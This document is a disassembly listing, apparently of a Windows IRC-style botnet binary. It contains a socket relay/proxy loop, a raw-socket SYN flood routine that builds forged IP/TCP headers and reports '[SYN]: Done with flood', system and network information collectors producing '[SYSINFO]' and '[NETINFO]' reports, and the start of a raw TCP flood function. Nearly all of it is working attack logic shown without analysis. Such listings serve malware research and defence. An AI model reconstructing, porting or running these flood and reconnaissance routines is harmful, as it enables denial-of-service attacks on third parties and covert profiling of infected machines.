sub_4108BE	proc near		; CODE XREF: sub_4105FA+286p

Dst		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4108D4:				; CODE XREF: sub_4108BE+C5j
					; sub_4108BE+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4108EC:				; CODE XREF: sub_4108BE+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4108FC
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4108EC


loc_4108FC:				; CODE XREF: sub_4108BE+33j
		cmp	ecx, 1
		jnz	short loc_410911
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_410911:				; CODE XREF: sub_4108BE+41j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_42EB9C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_42EABC	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_410971
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4109B9
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4109B9


loc_410971:				; CODE XREF: sub_4108BE+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EABC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4108D4
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_42EBCC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4109B9
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4108D4


loc_4109B9:				; CODE XREF: sub_4108BE+9Aj
					; sub_4108BE+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4108BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109BE	proc near		; DATA XREF: sub_409557+315Do

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_410D0C
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)."
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_410A3B
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_405E64
		add	esp, 14h


loc_410A3B:				; CODE XREF: sub_4109BE+5Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_10]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_4109BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A5A	proc near		; CODE XREF: sub_410D0C+3Cp

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
Dst		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_42EB38	; WSAStartup
		test	eax, eax
		jz	short loc_410A9A
		xor	eax, eax
		jmp	loc_410D08
; ---------------------------------------------------------------------------


loc_410A9A:				; CODE XREF: sub_410A5A+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_42EC54	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_410D00
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_42EB94	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_410CF6
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_8]
		call	dword_42EBB4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_42EBB4	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_42EBB4	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_42EBB4	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_41B08C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_41B088	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_410B85:				; CODE XREF: sub_410A5A+25Dj
					; sub_410A5A+26Bj
		mov	[ebp+var_24], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_42EBB4	; htons
		mov	[ebp+var_34], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_42EBB4	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_42EBB0	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_42EBB4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40845A
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_8C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40845A
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_42EC14	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410CCA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_41B088	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_410CF3
		jl	loc_410B85
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_410CF3
		jmp	loc_410B85
; ---------------------------------------------------------------------------


loc_410CCA:				; CODE XREF: sub_410A5A+247j
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 10h
		jmp	short loc_410CF6
; ---------------------------------------------------------------------------


loc_410CF3:				; CODE XREF: sub_410A5A+25Bj
					; sub_410A5A+269j
		mov	ebx, [ebp+arg_8]


loc_410CF6:				; CODE XREF: sub_410A5A+78j
					; sub_410A5A+297j
		push	[ebp+var_C]
		call	dword_42EC48	; closesocket
		pop	esi


loc_410D00:				; CODE XREF: sub_410A5A+5Bj
		call	dword_42EB20	; WSACleanup
		mov	eax, ebx


loc_410D08:				; CODE XREF: sub_410A5A+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_410A5A	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_410D0C(int,char *Str,int)

sub_410D0C	proc near		; CODE XREF: sub_4109BE+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4082EB
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_410A5A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_410D57
		push	1
		pop	eax


loc_410D57:				; CODE XREF: sub_410D0C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_410D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D66	proc near		; CODE XREF: sub_4021A2+74p
					; sub_409557+4AD5p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_41B078	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset byte_4754C4
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_410D66	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DCF	proc near		; CODE XREF: sub_410E85+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_410DD7:				; CODE XREF: sub_410DCF+2Fj
					; sub_410DCF+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_41B048	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	__aulldiv
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_410DD7
		jb	short loc_410E06
		cmp	ebx, esi
		ja	short loc_410DD7


loc_410E06:				; CODE XREF: sub_410DCF+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	__aullrem
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_410E79
		jb	short loc_410E25
		cmp	esi, 50h
		jnb	short loc_410E2A


loc_410E25:				; CODE XREF: sub_410DCF+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_410E2A:				; CODE XREF: sub_410DCF+54j
		test	ecx, ecx
		ja	short loc_410E79
		jb	short loc_410E35
		cmp	esi, 47h
		jnb	short loc_410E3A


loc_410E35:				; CODE XREF: sub_410DCF+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_410E3A:				; CODE XREF: sub_410DCF+64j
		test	ecx, ecx
		ja	short loc_410E79
		jb	short loc_410E45
		cmp	esi, 37h
		jnb	short loc_410E4A


loc_410E45:				; CODE XREF: sub_410DCF+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_410E4A:				; CODE XREF: sub_410DCF+74j
		test	ecx, ecx
		ja	short loc_410E79
		jb	short loc_410E55
		cmp	esi, 26h
		jnb	short loc_410E5A


loc_410E55:				; CODE XREF: sub_410DCF+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_410E5A:				; CODE XREF: sub_410DCF+84j
		test	ecx, ecx
		ja	short loc_410E79
		jb	short loc_410E65
		cmp	esi, 1Eh
		jnb	short loc_410E6A


loc_410E65:				; CODE XREF: sub_410DCF+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_410E6A:				; CODE XREF: sub_410DCF+94j
		test	ecx, ecx
		ja	short loc_410E79
		jb	short loc_410E75
		cmp	esi, 0Ah
		jnb	short loc_410E79


loc_410E75:				; CODE XREF: sub_410DCF+9Fj
		xor	eax, eax
		xor	edx, edx


loc_410E79:				; CODE XREF: sub_410DCF+4Dj
					; sub_410DCF+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_410DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E85	proc near		; CODE XREF: sub_409557+4C81p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
FullPath	= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
Dest		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
Dst		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Drive		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_428D64
		mov	[ebp+var_CC], 94h
		call	ds:dword_41B144	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_410F0C
		cmp	[ebp+var_C4], ebx
		jnz	short loc_410EE8
		cmp	[ebp+var_BC], 1
		jnz	short loc_410ED2
		mov	[ebp+var_4], offset a95	; "95"


loc_410ED2:				; CODE XREF: sub_410E85+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_410F87
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_410F58
; ---------------------------------------------------------------------------


loc_410EE8:				; CODE XREF: sub_410E85+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_410EFA
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_410F4F
; ---------------------------------------------------------------------------


loc_410EFA:				; CODE XREF: sub_410E85+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_410F48
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_410F4F
; ---------------------------------------------------------------------------


loc_410F0C:				; CODE XREF: sub_410E85+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_410F48
		cmp	[ebp+var_C4], ebx
		jnz	short loc_410F26
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_410F4F
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: sub_410E85+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_410F38
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_410F4F
; ---------------------------------------------------------------------------


loc_410F38:				; CODE XREF: sub_410E85+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_410F4F


loc_410F48:				; CODE XREF: sub_410E85+7Cj
					; sub_410E85+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_410F4F:				; CODE XREF: sub_410E85+73j
					; sub_410E85+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_410F87


loc_410F58:				; CODE XREF: sub_410E85+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_410F87
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+var_4]
		push	offset aSS_5	; "%s (%s)"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_410F87:				; CODE XREF: sub_410E85+54j
					; sub_410E85+D1j ...
		mov	ax, word_41F9E4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_42EAB0
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_410FC0
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_410FC0:				; CODE XREF: sub_410E85+12Cj
		push	[ebp+arg_4]
		call	sub_408401
		pop	ecx
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_42EB70	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_410FE9
		push	dword ptr [eax]
		jmp	short loc_410FEE
; ---------------------------------------------------------------------------


loc_410FE9:				; CODE XREF: sub_410E85+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_410FEE:				; CODE XREF: sub_410E85+162j
		lea	eax, [ebp+var_3E4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+FullPath]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_41B098	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_41B0A0	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_41B09C	; GetTimeFormatA
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		call	ds:dword_41B150	; GlobalMemoryStatus
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Drive]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_403B59
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_410D66
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403A49
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403A49
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410DCF
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411139	proc near		; CODE XREF: sub_409557+3D0Fp
					; sub_409557+4CAFp

Dst		= byte ptr -8Ch
var_C		= byte ptr -0Ch
Dest		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	dword_42EC98, 0
		jnz	short loc_4111AD
		push	0
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_42EA98	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41118E
		lea	eax, [ebp+Dst]
		push	offset aNotConnected ; "Not connected"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41118E:				; CODE XREF: sub_411139+40j
		test	[ebp+var_C], 1
		jz	short loc_4111A6
		push	offset aDialUp	; "Dial-up"


loc_411199:				; CODE XREF: sub_411139+72j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_4111A6:				; CODE XREF: sub_411139+59j
		push	offset dword_427E24
		jmp	short loc_411199
; ---------------------------------------------------------------------------


loc_4111AD:				; CODE XREF: sub_411139+28j
		mov	esi, offset off_427E20
		lea	eax, [ebp+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_4111CC:				; CODE XREF: sub_411139+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_411139	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111FF	proc near		; DATA XREF: sub_409557+25AAo

Dest		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
Str		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_41B078
		call	edi	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_42EC30	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4112C8
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aTcpErrorSocket ; "[TCP]: Error:	socket() failed, returned"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4112A8
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_405E64
		add	esp, 14h


loc_4112A8:				; CODE XREF: sub_4111FF+84j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_BC]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4112C8:				; CODE XREF: sub_4111FF+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_42EB94	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411346
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aTcpErrorSetsoc ; "[TCP]: Error:	setsockopt() failed, retu"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_411326
